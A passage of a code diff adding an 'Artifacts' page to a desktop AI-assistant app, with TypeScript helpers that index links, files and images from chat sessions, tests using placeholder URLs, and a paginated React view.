+export interface ArtifactRecord {
+  id: string
+  kind: ArtifactKind
+  value: string
+  href: string
+  label: string
+  sessionId: string
+  sessionTitle: string
+  timestamp: number
+}
+
+const MARKDOWN_IMAGE_RE = /!\[([^\]]*)\]\(([^)\s]+)\)/g
+const MARKDOWN_LINK_RE = /\[([^\]]+)\]\(([^)\s]+)\)/g
+const URL_RE = /https?:\/\/[^\s<>"')]+/g
+const PATH_RE = /(^|[\s("'`])((?:\/|~\/|\.\.?\/)[^\s"'`<>]+(?:\.[a-z0-9]{1,8})?)/gi
+const IMAGE_EXT_RE = /\.(?:png|jpe?g|gif|webp|svg|bmp)(?:\?.*)?$/i
+const FILE_EXT_RE = /\.(?:png|jpe?g|gif|webp|svg|bmp|pdf|txt|json|md|csv|zip|tar|gz|mp3|wav|mp4|mov)(?:\?.*)?$/i
+const KEY_HINT_RE = /(path|file|url|image|artifact|output|download|result|target)/i
+
+function artifactSessionTitle(session: SessionInfo): string {
+  return session.title?.trim() || session.preview?.trim() || 'Untitled session'
+}
+
+function normalizeValue(value: string): string {
+  return value.trim().replace(/[),.;]+$/, '')
+}
+
+function parseMaybeJson(value: string): unknown {
+  if (!value.trim()) {
+    return null
+  }
+
+  try {
+    return JSON.parse(value)
+  } catch {
+    return null
+  }
+}
+
+function looksLikePathOrUrl(value: string): boolean {
+  return (
+    value.startsWith('http://') ||
+    value.startsWith('https://') ||
+    value.startsWith('file://') ||
+    value.startsWith('data:image/') ||
+    value.startsWith('/') ||
+    value.startsWith('./') ||
+    value.startsWith('../') ||
+    value.startsWith('~/')
+  )
+}
+
+function looksLikeArtifact(value: string): boolean {
+  if (/^(?:https?:\/\/|data:image\/)/.test(value)) {
+    return true
+  }
+
+  if (looksLikePathOrUrl(value) && (IMAGE_EXT_RE.test(value) || FILE_EXT_RE.test(value))) {
+    return true
+  }
+
+  return value.startsWith('/') && value.includes('.')
+}
+
+function artifactKind(value: string): ArtifactKind {
+  if (value.startsWith('data:image/') || IMAGE_EXT_RE.test(value)) {
+    return 'image'
+  }
+
+  if (
+    value.startsWith('/') ||
+    value.startsWith('./') ||
+    value.startsWith('../') ||
+    value.startsWith('~/') ||
+    value.startsWith('file://')
+  ) {
+    return 'file'
+  }
+
+  return 'link'
+}
+
+function artifactHref(value: string): string {
+  if (value.startsWith('http://') || value.startsWith('https://') || value.startsWith('data:')) {
+    return value
+  }
+
+  if (value.startsWith('file://') || value.startsWith('/')) {
+    return mediaExternalUrl(value)
+  }
+
+  return value
+}
+
+export async function artifactImageSrc(value: string, href = artifactHref(value)): Promise<string> {
+  if (/^(?:https?|data):/i.test(value)) {
+    return href
+  }
+
+  if (typeof window !== 'undefined' && window.clawcodexDesktop && isRemoteGateway()) {
+    return readDesktopFileDataUrl(filePathFromMediaPath(value))
+  }
+
+  return href
+}
+
+function artifactLabel(value: string): string {
+  try {
+    const url = new URL(value)
+    const item = url.pathname.split('/').filter(Boolean).pop()
+
+    return item || value
+  } catch {
+    const parts = value.split(/[\\/]/).filter(Boolean)
+
+    return parts.pop() || value
+  }
+}
+
+function messageText(message: SessionMessage): string {
+  if (typeof message.content === 'string' && message.content.trim()) {
+    return message.content
+  }
+
+  if (typeof message.text === 'string' && message.text.trim()) {
+    return message.text
+  }
+
+  if (typeof message.context === 'string' && message.context.trim()) {
+    return message.context
+  }
+
+  return ''
+}
+
+function collectStringValues(
+  value: unknown,
+  keyPath: string,
+  collector: (value: string, keyPath: string) => void
+): void {
+  if (typeof value === 'string') {
+    collector(value, keyPath)
+
+    return
+  }
+
+  if (Array.isArray(value)) {
+    value.forEach((entry, index) => collectStringValues(entry, `${keyPath}.${index}`, collector))
+
+    return
+  }
+
+  if (!value || typeof value !== 'object') {
+    return
+  }
+
+  for (const [key, child] of Object.entries(value as Record<string, unknown>)) {
+    collectStringValues(child, keyPath ? `${keyPath}.${key}` : key, collector)
+  }
+}
+
+function collectArtifactsFromText(text: string, pushValue: (value: string) => void): void {
+  for (const match of text.matchAll(MARKDOWN_IMAGE_RE)) {
+    pushValue(match[2] || '')
+  }
+
+  for (const match of text.matchAll(MARKDOWN_LINK_RE)) {
+    const start = match.index ?? 0
+
+    if (start > 0 && text[start - 1] === '!') {
+      continue
+    }
+
+    const value = match[2] || ''
+
+    if (looksLikeArtifact(value)) {
+      pushValue(value)
+    }
+  }
+
+  for (const match of text.matchAll(URL_RE)) {
+    const value = match[0] || ''
+
+    if (looksLikeArtifact(value)) {
+      pushValue(value)
+    }
+  }
+
+  for (const match of text.matchAll(PATH_RE)) {
+    pushValue(match[2] || '')
+  }
+}
+
+function collectArtifactsFromMessage(message: SessionMessage, pushValue: (value: string) => void): void {
+  const text = messageText(message)
+
+  if (text) {
+    collectArtifactsFromText(text, pushValue)
+  }
+
+  if (message.role !== 'tool' && !Array.isArray(message.tool_calls)) {
+    return
+  }
+
+  if (Array.isArray(message.tool_calls)) {
+    for (const call of message.tool_calls) {
+      collectStringValues(call, 'tool_call', (value, keyPath) => {
+        const normalized = normalizeValue(value)
+
+        if (!normalized) {
+          return
+        }
+
+        if (KEY_HINT_RE.test(keyPath) && (looksLikePathOrUrl(normalized) || FILE_EXT_RE.test(normalized))) {
+          pushValue(normalized)
+        }
+      })
+    }
+  }
+
+  const parsed = parseMaybeJson(text)
+
+  if (parsed !== null) {
+    collectStringValues(parsed, 'tool_result', (value, keyPath) => {
+      const normalized = normalizeValue(value)
+
+      if (!normalized) {
+        return
+      }
+
+      if ((KEY_HINT_RE.test(keyPath) || looksLikePathOrUrl(normalized)) && looksLikeArtifact(normalized)) {
+        pushValue(normalized)
+      }
+    })
+  }
+}
+
+export function collectArtifactsForSession(session: SessionInfo, messages: SessionMessage[]): ArtifactRecord[] {
+  const found = new Map<string, ArtifactRecord>()
+  const title = artifactSessionTitle(session)
+
+  for (const message of messages) {
+    if (message.role !== 'assistant' && message.role !== 'tool') {
+      continue
+    }
+
+    collectArtifactsFromMessage(message, candidate => {
+      const value = normalizeValue(candidate)
+
+      if (!value || !looksLikeArtifact(value)) {
+        return
+      }
+
+      const key = `${session.id}:${value}`
+
+      if (found.has(key)) {
+        return
+      }
+
+      found.set(key, {
+        id: key,
+        kind: artifactKind(value),
+        value,
+        href: artifactHref(value),
+        label: artifactLabel(value),
+        sessionId: session.id,
+        sessionTitle: title,
+        timestamp: message.timestamp || session.last_active || session.started_at || Date.now()
+      })
+    })
+  }
+
+  return Array.from(found.values())
+}
diff --git a/ui-desktop/src/app/artifacts/index.test.ts b/ui-desktop/src/app/artifacts/index.test.ts
new file mode 100644
index 000000000..3ff285b9b
--- /dev/null
+++ b/ui-desktop/src/app/artifacts/index.test.ts
@@ -0,0 +1,91 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
+import type { SessionInfo, SessionMessage } from '@/types/clawcodex'
+
+import { artifactImageSrc, collectArtifactsForSession } from './artifact-utils'
+
+function makeSession(overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    ended_at: null,
+    id: 'session-1',
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1000,
+    message_count: 1,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    source: null,
+    started_at: 1000,
+    title: 'Session',
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+describe('collectArtifactsForSession', () => {
+  afterEach(() => {
+    vi.unstubAllGlobals()
+    vi.clearAllMocks()
+    $connection.set(null)
+  })
+
+  it('indexes plain https links from assistant text', () => {
+    const artifacts = collectArtifactsForSession(makeSession(), [
+      {
+        content: 'Reference: https://example.com/docs/getting-started',
+        role: 'assistant',
+        timestamp: 2000
+      }
+    ])
+
+    expect(artifacts).toHaveLength(1)
+    expect(artifacts[0]).toMatchObject({
+      href: 'https://example.com/docs/getting-started',
+      kind: 'link',
+      value: 'https://example.com/docs/getting-started'
+    })
+  })
+
+  it('indexes http links present in tool JSON payloads', () => {
+    const messages: SessionMessage[] = [
+      {
+        content: JSON.stringify({ source_url: 'https://example.com/changelog/latest' }),
+        role: 'tool',
+        timestamp: 3000
+      }
+    ]
+
+    const artifacts = collectArtifactsForSession(makeSession({ id: 'session-2' }), messages)
+
+    expect(artifacts).toHaveLength(1)
+    expect(artifacts[0]).toMatchObject({
+      href: 'https://example.com/changelog/latest',
+      kind: 'link',
+      value: 'https://example.com/changelog/latest'
+    })
+  })
+
+  it('resolves remote image artifact thumbnails through the desktop fs bridge', async () => {
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path.startsWith('/api/fs/read-data-url?')) {
+        return { dataUrl: 'data:image/jpeg;base64,cmVtb3Rl' }
+      }
+
+      throw new Error(`unexpected path ${path}`)
+    })
+
+    vi.stubGlobal('window', { clawcodexDesktop: { api } })
+    $connection.set({ baseUrl: 'https://gw', mode: 'remote', token: 'secret' } as never)
+
+    const path = '/Users/me/.clawcodex/skills/work-esab/references/images/manual-step03.jpeg'
+    const downloadHref = `https://gw/api/files/download?path=${encodeURIComponent(path)}&token=secret`
+
+    await expect(artifactImageSrc(path, downloadHref)).resolves.toBe('data:image/jpeg;base64,cmVtb3Rl')
+
+    expect(api).toHaveBeenCalledWith({
+      path: '/api/fs/read-data-url?path=%2FUsers%2Fme%2F.clawcodex%2Fskills%2Fwork-esab%2Freferences%2Fimages%2Fmanual-step03.jpeg'
+    })
+  })
+})
diff --git a/ui-desktop/src/app/artifacts/index.tsx b/ui-desktop/src/app/artifacts/index.tsx
new file mode 100644
index 000000000..28b1b759c
--- /dev/null
+++ b/ui-desktop/src/app/artifacts/index.tsx
@@ -0,0 +1,687 @@
+import type * as React from 'react'
+import { memo, useCallback, useEffect, useMemo, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import { getSessionMessages, listAllProfileSessions } from '@/clawcodex'
+import { ZoomableImage } from '@/components/chat/zoomable-image'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { CopyButton } from '@/components/ui/copy-button'
+import {
+  Pagination,
+  PaginationButton,
+  PaginationContent,
+  PaginationEllipsis,
+  PaginationItem,
+  PaginationNext,
+  PaginationPrevious
+} from '@/components/ui/pagination'
+import { RowButton } from '@/components/ui/row-button'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { resolveBrandIcon } from '@/lib/brand-icon'
+import {
+  ExternalLink,
+  ExternalLinkIcon,
+  hostPathLabel,
+  shortHostLabel,
+  urlSlugTitleLabel,
+  useLinkTitle
+} from '@/lib/external-link'
+import { FileImage, FileText, FolderOpen, Link2, Loader2, RefreshCw } from '@/lib/icons'
+import { downloadGatewayMediaFile, isRemoteGateway } from '@/lib/media'
+import { normalize } from '@/lib/text'
+import { fmtDayTime } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { notifyError } from '@/store/notifications'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import { useRouteEnumParam } from '../hooks/use-route-enum-param'
+import { openSession } from '../open-session'
+import { PageSearchShell } from '../page-search-shell'
+import type { SetStatusbarItemGroup } from '../shell/statusbar-controls'
+
+import {
+  ARTIFACT_FILTERS,
+  type ArtifactFilter,
+  artifactImageSrc,
+  type ArtifactRecord,
+  collectArtifactsForSession
+} from './artifact-utils'
+
+function formatArtifactTime(timestamp: number): string {
+  return fmtDayTime.format(new Date(timestamp))
+}
+
+function pageRangeLabel(total: number, page: number, pageSize: number, a: Translations['artifacts']): string {
+  if (total === 0) {
+    return a.zero
+  }
+
+  const start = (page - 1) * pageSize + 1
+  const end = Math.min(total, page * pageSize)
+
+  return a.rangeOf(start, end, total)
+}
+
+function paginationItems(page: number, pageCount: number): Array<number | 'ellipsis'> {
+  if (pageCount <= 7) {
+    return Array.from({ length: pageCount }, (_, index) => index + 1)
+  }
+
+  const pages: Array<number | 'ellipsis'> = [1]
+  const start = Math.max(2, page - 1)
+  const end = Math.min(pageCount - 1, page + 1)
+
+  if (start > 2) {
+    pages.push('ellipsis')
+  }
+
+  for (let nextPage = start; nextPage <= end; nextPage += 1) {
+    pages.push(nextPage)
+  }
+
+  if (end < pageCount - 1) {
+    pages.push('ellipsis')
+  }
+
+  pages.push(pageCount)
+
+  return pages
+}
+
+type CellCtx = {
+  onOpen: (href: string) => void | Promise<void>
+  onOpenChat: (sessionId: string) => void
+}
+
+interface ArtifactColumn {
+  Cell: React.ComponentType<{ artifact: ArtifactRecord; ctx: CellCtx }>
+  bodyClassName: string
+  header: (filter: ArtifactFilter, a: Translations['artifacts']) => string
+  id: 'location' | 'primary' | 'session'
+  width: (filter: ArtifactFilter) => string
+}
+
+const itemsLabel = (f: ArtifactFilter, a: Translations['artifacts']) =>
+  f === 'link' ? a.itemsLink : f === 'file' ? a.itemsFile : a.itemsGeneric
+
+interface ArtifactsViewProps extends React.ComponentProps<'section'> {
+  setStatusbarItemGroup?: SetStatusbarItemGroup
+}
+
+export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, ...props }: ArtifactsViewProps) {
+  const { t } = useI18n()
+  const a = t.artifacts
+  const navigate = useNavigate()
+  const [artifacts, setArtifacts] = useState<ArtifactRecord[] | null>(null)
+  const [query, setQuery] = useState('')
+
+  const [kindFilter, setKindFilter] = useRouteEnumParam('tab', ARTIFACT_FILTERS, 'all')
+
+  const [failedImageIds, setFailedImageIds] = useState<Set<string>>(() => new Set())
+  const [imagePage, setImagePage] = useState(1)
+  const [filePage, setFilePage] = useState(1)
+
+  const [refreshing, setRefreshing] = useState(false)
+
+  const refreshArtifacts = useCallback(async () => {
+    setRefreshing(true)
+
+    try {
+      const sessions = (await listAllProfileSessions(30, 1)).sessions
+      const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
+      const nextArtifacts: ArtifactRecord[] = []
+
+      results.forEach((result, index) => {
+        if (result.status !== 'fulfilled') {
+          return
+        }
+
+        const session = sessions[index]
+        nextArtifacts.push(...collectArtifactsForSession(session, result.value.messages))
+      })
+
+      setArtifacts(nextArtifacts.sort((left, right) => right.timestamp - left.timestamp))
+    } catch (err) {
+      notifyError(err, a.failedLoad)
+      setArtifacts([])
+    } finally {
+      setRefreshing(false)
+    }
+  }, [a])
+
+  useRefreshHotkey(refreshArtifacts)
+
+  useEffect(() => {
+    void refreshArtifacts()
+  }, [refreshArtifacts])
+
+  useEffect(() => {
+    setImagePage(1)
+    setFilePage(1)
+  }, [artifacts, kindFilter, query])
+
+  const visibleArtifacts = useMemo(() => {
+    if (!artifacts) {
+      return []
+    }
+
+    const q = normalize(query)
+
+    return artifacts.filter(artifact => {
+      if (kindFilter !== 'all' && artifact.kind !== kindFilter) {
+        return false
+      }
+
+      if (!q) {
+        return true
+      }
+
+      return (
+        artifact.label.toLowerCase().includes(q) ||
+        artifact.value.toLowerCase().includes(q) ||
+        artifact.sessionTitle.toLowerCase().includes(q)
+      )
+    })
+  }, [artifacts, kindFilter, query])
+
+  const visibleImageArtifacts = useMemo(
+    () => visibleArtifacts.filter(artifact => artifact.kind === 'image'),
+    [visibleArtifacts]
+  )
+
+  const visibleFileArtifacts = useMemo(
+    () => visibleArtifacts.filter(artifact => artifact.kind !== 'image'),
+    [visibleArtifacts]
+  )
+
+  const imagePageCount = Math.max(1, Math.ceil(visibleImageArtifacts.length / 24))
+  const filePageCount = Math.max(1, Math.ceil(visibleFileArtifacts.length / 100))
+  const currentImagePage = Math.min(imagePage, imagePageCount)
+  const currentFilePage = Math.min(filePage, filePageCount)
+
+  const pagedImageArtifacts = useMemo(
+    () => visibleImageArtifacts.slice((currentImagePage - 1) * 24, currentImagePage * 24),
+    [currentImagePage, visibleImageArtifacts]
+  )
+
+  const pagedFileArtifacts = useMemo(
+    () => visibleFileArtifacts.slice((currentFilePage - 1) * 100, currentFilePage * 100),
+    [currentFilePage, visibleFileArtifacts]
+  )
+
+  // Rotating placeholder nudges from real data — search matches file paths and
+  // session titles, not just labels; show it.
+  const searchHints = useMemo(() => {
+    if (!artifacts?.length) {
+      return undefined
+    }
+
+    const extensions = [
+      ...new Set(artifacts.map(artifact => /\.(\w{2,4})$/.exec(artifact.value)?.[1]?.toLowerCase()).filter(Boolean))
+    ].slice(0, 3) as string[]
+
+    const titles = [...new Set(artifacts.map(artifact => artifact.sessionTitle).filter(Boolean))].slice(0, 2)
+
+    const hints = [
+      ...extensions.map(ext => t.common.tryHint(`.${ext}`)),
+      ...titles.map(title => t.common.tryHint(title))
+    ]
+
+    return hints.length > 0 ? hints : undefined
+  }, [artifacts, t])
+
+  const counts = useMemo(() => {
+    const all = artifacts || []
+
+    return {
+      all: all.length,
+      image: all.filter(artifact => artifact.kind === 'image').length,
+      file: all.filter(artifact => artifact.kind === 'file').length,
+      link: all.filter(artifact => artifact.kind === 'link').length
+    }
+  }, [artifacts])
+
+  const openArtifact = useCallback(
+    async (href: string) => {
+      try {
+        // A gateway-local file resolves to file:// in remote mode (the file
+        // lives on the gateway, not this disk). Opening that locally fails —
+        // and an OAuth remote connection has no query token to build a download
+        // URL. Fetch the bytes over the authenticated fs bridge instead.
+        if (isRemoteGateway() && /^file:/i.test(href)) {
+          await downloadGatewayMediaFile(href)
+
+          return
+        }
+
+        if (window.clawcodexDesktop?.openExternal) {
+          await window.clawcodexDesktop.openExternal(href)
+        } else {
+          window.open(href, '_blank', 'noopener,noreferrer')
+        }
+      } catch (err) {
+        notifyError(err, a.openFailed)
+      }
+    },
+    [a]
+  )
+
+  const markImageFailed = useCallback((id: string) => {
+    setFailedImageIds(current => {
+      if (current.has(id)) {
+        return current
+      }
+
+      return new Set(current).add(id)
+    })
+  }, [])
+
+  // Stable ctx: recreating it (or its onOpenChat closure) every render made
+  // every artifact cell re-render whenever the page did — and a link cell's
+  // async title fetch re-rendered the page repeatedly. openArtifact is already
+  // a useCallback; navigate is stable, so onOpenChat can be too.
+  const openChat = useCallback((sessionId: string) => openSession(sessionId, navigate), [navigate])
+  const cellCtx: CellCtx = useMemo(() => ({ onOpen: openArtifact, onOpenChat: openChat }), [openArtifact, openChat])
+
+  return (
+    <PageSearchShell
+      {...props}
+      activeTab={kindFilter}
+      onSearchChange={setQuery}
+      onTabChange={id => setKindFilter(id as typeof kindFilter)}
+      searchHidden={counts.all === 0}
+      searchHints={searchHints}
+      searchPlaceholder={a.search}
+      searchTrailingAction={
+        <Tip label={refreshing ? a.refreshing : a.refresh}>
+          <Button
+            aria-label={refreshing ? a.refreshing : a.refresh}
+            className="text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground"
+            disabled={refreshing}
+            onClick={() => void refreshArtifacts()}
+            size="icon-titlebar"
+            variant="ghost"
+          >
+            {refreshing ? <Loader2 className="animate-spin" /> : <RefreshCw />}
+          </Button>
+        </Tip>
+      }
+      searchValue={query}
+      tabs={[
+        { id: 'all', label: a.tabAll, meta: artifacts ? counts.all : null },
+        { id: 'image', label: a.tabImages, meta: artifacts ? counts.image : null },
+        { id: 'file', label: a.tabFiles, meta: artifacts ? counts.file : null },
+        { id: 'link', label: a.tabLinks, meta: artifacts ? counts.link : null }
+      ]}
+    >
+      {!artifacts ? (
+        <PageLoader label={a.indexing} />
+      ) : visibleArtifacts.length === 0 ? (
+        <div className="grid h-full place-items-center px-6 text-center">
+          <div>
+            <div className="text-sm font-medium">{a.noArtifactsTitle}</div>
+            <div className="mt-1 text-xs text-muted-foreground">{a.noArtifactsDesc}</div>
+          </div>
+        </div>
+      ) : (
+        <div className="h-full overflow-y-auto [scrollbar-gutter:stable]">
+          <div className="flex flex-col gap-3 px-3 pb-2">
+            {visibleImageArtifacts.length > 0 && (
+              <section className="flex flex-col">
+                <div className="sticky top-0 z-10 -mx-3 flex h-7 items-center gap-3 overflow-x-auto bg-background px-3">
+                  <ArtifactsPagination
+                    className="ml-auto justify-end px-0"
+                    itemLabel={a.itemsImage}
+                    onPageChange={setImagePage}
+                    page={currentImagePage}
+                    pageSize={24}
+                    total={visibleImageArtifacts.length}
+                  />
+                </div>
+                <div className="grid grid-cols-[repeat(auto-fill,minmax(11rem,1fr))] items-start gap-2 pt-1.5">
+                  {pagedImageArtifacts.map(artifact => (
+                    <ArtifactImageCard
+                      artifact={artifact}
+                      failedImage={failedImageIds.has(artifact.id)}
+                      key={artifact.id}
+                      onImageError={markImageFailed}
+                      onOpenChat={sessionId => openSession(sessionId, navigate)}
+                    />
+                  ))}
+                </div>
+              </section>
+            )}
+
+            {visibleFileArtifacts.length > 0 && (
+              <section className="flex flex-col">
+                <div className="sticky top-0 z-10 -mx-3 flex h-7 items-center gap-3 overflow-x-auto bg-background px-3">
+                  <ArtifactsPagination
+                    className="ml-auto justify-end px-0"
+                    itemLabel={itemsLabel(kindFilter, a)}
+                    onPageChange={setFilePage}
+                    page={currentFilePage}
+                    pageSize={100}
+                    total={visibleFileArtifacts.length}
+                  />
+                </div>
+                <div className="overflow-x-auto rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-chat-bubble-background)">
+                  <ArtifactTable artifacts={pagedFileArtifacts} ctx={cellCtx} filter={kindFilter} />
+                </div>
+              </section>
+            )}
+          </div>
+        </div>
+      )}
+    </PageSearchShell>
+  )
+}
+
+interface ArtifactsPaginationProps {
+  className?: string
+  itemLabel: string
+  onPageChange: (page: number) => void
+  page: number
+  pageSize: number
+  total: number
+}
+
+function ArtifactsPagination({ className, itemLabel, onPageChange, page, pageSize, total }: ArtifactsPaginationProps) {
+  const { t } = useI18n()
+  const a = t.artifacts
+  const pageCount = Math.max(1, Math.ceil(total / pageSize))
+
+  return (
+    <div className={cn('flex h-6 items-center justify-between gap-2 px-1', className)}>
+      <div className="shrink-0 text-[0.62rem] text-muted-foreground">
+        {pageRangeLabel(total, page, pageSize, a)} {itemLabel}
+      </div>
+      {pageCount > 1 && (
+        <Pagination className="mx-0 w-auto min-w-0 justify-end">
+          <PaginationContent className="gap-0.5">
+            <PaginationItem>
+              <PaginationPrevious disabled={page <= 1} onClick={() => onPageChange(Math.max(1, page - 1))} />
+            </PaginationItem>
+            {paginationItems(page, pageCount).map((item, index) => (
+              <PaginationItem key={`${item}-${index}`}>
+                {item === 'ellipsis' ? (
+                  <PaginationEllipsis />
+                ) : (
+                  <PaginationButton
+                    aria-label={a.goToPage(itemLabel, item)}
+                    isActive={page === item}
+                    onClick={() => onPageChange(item)}
+                  >
+                    {item}
+                  </PaginationButton>
+                )}
+              </PaginationItem>
+            ))}
+            <PaginationItem>
+              <PaginationNext
+                disabled={page >= pageCount}
+                onClick={() => onPageChange(Math.min(pageCount, page + 1))}
+              />
+            </PaginationItem>
+          </PaginationContent>
+        </Pagination>
+      )}
+    </div>
+  )
+}
+
+interface ArtifactImageCardProps {
+  artifact: ArtifactRecord
+  failedImage: boolean
+  onImageError: (id: string) => void
+  onOpenChat: (sessionId: string) => void
+}
+
+function ArtifactImageCard({ artifact, failedImage, onImageError, onOpenChat }: ArtifactImageCardProps) {
+  const { t } = useI18n()
+  const a = t.artifacts
+  const kindLabel = artifact.kind === 'image' ? a.kindImage : artifact.kind === 'file' ? a.kindFile : a.kindLink
+  const [src, setSrc] = useState('')
+
+  useEffect(() => {
+    let active = true
+
+    setSrc('')
+    void artifactImageSrc(artifact.value, artifact.href)
+      .then(nextSrc => {
+        if (active) {
+          setSrc(nextSrc)
+        }
+      })
+      .catch(() => {
+        if (active) {
+          onImageError(artifact.id)
+        }
+      })
+
+    return () => {
+      active = false
+    }
+  }, [artifact.href, artifact.id, artifact.value, onImageError])
+
+  return (
+    <article className="group/artifact overflow-hidden rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-chat-bubble-background)">
+      <div
+        className={cn(
+          'relative flex h-40 w-full items-center justify-center overflow-hidden border-b border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-1.5',
+          failedImage && 'cursor-default'
+        )}
+      >
+        {!failedImage && src && (
+          <ZoomableImage
+            alt={artifact.label}
+            className="max-h-40 max-w-full cursor-zoom-in rounded-md object-contain"
+            containerClassName="max-h-full"
+            decoding="async"
+            loading="lazy"
+            onError={() => onImageError(artifact.id)}
+            slot="artifact-media"
+            src={src}
+          />
+        )}
+      </div>
+
+      <div className="space-y-1.5 p-2">
+        <div className="min-w-0">
+          <div className="mb-0.5 flex items-center gap-1 text-[0.625rem] uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+            <FileImage className="size-3" />
+            {kindLabel}
+          </div>
+          <div className="truncate text-[length:var(--conversation-caption-font-size)] font-medium">
+            {artifact.label}
+          </div>
+          <div className="mt-0.5 truncate text-[0.625rem] text-(--ui-text-tertiary)">{artifact.value}</div>
+        </div>
+
+        <div className="truncate text-[0.625rem] text-(--ui-text-tertiary)">
+          {artifact.sessionTitle} · {formatArtifactTime(artifact.timestamp)}
+        </div>
+
+        <div className="flex flex-wrap gap-1.5">
+          <Button onClick={() => onOpenChat(artifact.sessionId)} size="xs" type="button" variant="textStrong">
+            <FolderOpen className="size-3" />
+            {a.chat}
+          </Button>
+        </div>
+      </div>
+    </article>
+  )
+}
+
+// Single click target for any row cell. External URLs render as <ExternalLink>;
+// local actions render as <button>. Padding lives here, NOT on the <td>, so
+// the entire cell area is hoverable and clickable in both branches.
+function ArtifactCellAction({
+  children,
+  href,
+  onClick,
+  title
+}: {
+  children: React.ReactNode
+  href?: string
+  onClick?: () => void
+  title?: string
+}) {
+  if (href) {
+    return (
+      <ExternalLink
+        className="flex h-full w-full min-w-0 items-center gap-2 px-2.5 py-1.5 text-left text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) font-normal text-(--ui-text-secondary) no-underline underline-offset-4 decoration-current/20 transition-colors hover:text-foreground hover:underline"
+        href={href}
+        showExternalIcon={false}
+        title={title}
+      >
+        {children}
+      </ExternalLink>
+    )
+  }
+
+  return (
+    <RowButton
+      className="flex h-full w-full min-w-0 items-center gap-2 px-2.5 py-1.5 text-left text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) font-normal text-(--ui-text-secondary) no-underline underline-offset-4 decoration-current/20 transition-colors hover:text-foreground hover:underline"
+      onClick={onClick}
+    >
+      {children}
+    </RowButton>
+  )
+}
+
+const PrimaryCell = memo(function PrimaryCell({ artifact, ctx }: { artifact: ArtifactRecord; ctx: CellCtx }) {
+  const isLink = artifact.kind === 'link'
+  const brand = isLink ? resolveBrandIcon(shortHostLabel(artifact.href)) : null
+  const Icon = brand ?? (isLink ? Link2 : FileText)
+  const fetchedTitle = useLinkTitle(isLink ? artifact.href : null)
+  const label = isLink ? fetchedTitle || urlSlugTitleLabel(artifact.href) : artifact.label
+
+  return (
+    <ArtifactCellAction
+      href={isLink ? artifact.href : undefined}
+      onClick={isLink ? undefined : () => void ctx.onOpen(artifact.href)}
+      title={label}
+    >
+      <span className="mt-0.5 grid size-6 shrink-0 place-items-center self-start rounded-md bg-(--ui-bg-tertiary) text-(--ui-text-tertiary)">
+        <Icon className="size-3.5" />
+      </span>
+      <span className={cn('min-w-0 flex-1', isLink ? 'wrap-anywhere' : 'truncate')}>
+        {label}
+        {isLink && <ExternalLinkIcon />}
+      </span>
+    </ArtifactCellAction>
+  )
+})
+
+const LocationCell = memo(function LocationCell({ artifact }: { artifact: ArtifactRecord; ctx: CellCtx }) {
+  const { t } = useI18n()
+  const isLink = artifact.kind === 'link'
+  const value = isLink ? hostPathLabel(artifact.value) : artifact.value
+  const copyLabel = isLink ? t.artifacts.copyUrl : t.artifacts.copyPath
+
+  return (
+    <div className="group/location flex min-w-0 items-center gap-1.5">
+      <Tip label={artifact.value}>
+        <div
+          className={cn(
+            'min-w-0 flex-1 truncate text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)',
+            isLink ? 'font-normal' : 'font-mono'
+          )}
+        >
+          {value}
+        </div>
+      </Tip>
+      <CopyButton
+        appearance="icon"
+        buttonSize="icon-xs"
+        className="shrink-0 text-muted-foreground opacity-0 transition-opacity hover:text-foreground focus-visible:opacity-100 group-hover/location:opacity-100"
+        iconClassName="size-3.5"
+        label={copyLabel}
+        text={artifact.value}
+        title={copyLabel}
+      />
+    </div>
+  )
+})
+
+const SessionCell = memo(function SessionCell({ artifact, ctx }: { artifact: ArtifactRecord; ctx: CellCtx }) {
+  return (
+    <ArtifactCellAction onClick={() => ctx.onOpenChat(artifact.sessionId)} title={artifact.sessionTitle}>
+      <span className="flex min-w-0 flex-col">
+        <span className="truncate">{artifact.sessionTitle}</span>
+        <span className="truncate text-[0.6875rem] font-normal text-(--ui-text-tertiary)">
+          {formatArtifactTime(artifact.timestamp)}
+        </span>
+      </span>
+    </ArtifactCellAction>
+  )
+})
+
+const ARTIFACT_COLUMNS: readonly ArtifactColumn[] = [
+  {
+    Cell: PrimaryCell,
+    bodyClassName: 'p-0',
+    header: (filter, a) =>
+      filter === 'link' ? a.colTitleLink : filter === 'file' ? a.colTitleFile : a.colTitleDefault,
+    id: 'primary',
+    width: filter => (filter === 'link' ? 'w-[50%]' : 'w-[35%]')
+  },
+  {
+    Cell: LocationCell,
+    bodyClassName: 'px-2.5 py-1.5',
+    header: (filter, a) =>
+      filter === 'link' ? a.colLocationLink : filter === 'file' ? a.colLocationFile : a.colLocationDefault,
+    id: 'location',
+    width: filter => (filter === 'link' ? 'w-[30%]' : 'w-[41%]')
+  },
+  {
+    Cell: SessionCell,
+    bodyClassName: 'p-0',
+    header: (_filter, a) => a.colSession,
+    id: 'session',
+    width: filter => (filter === 'link' ? 'w-[20%]' : 'w-[24%]')
+  }
+]
+
+function ArtifactTable({
+  artifacts,
+  ctx,
+  filter
+}: {
+  artifacts: readonly ArtifactRecord[]
+  ctx: CellCtx
+  filter: ArtifactFilter
+}) {
+  const { t } = useI18n()
+
+  return (
+    <table className="w-full min-w-176 table-fixed text-left text-[length:var(--conversation-caption-font-size)]">
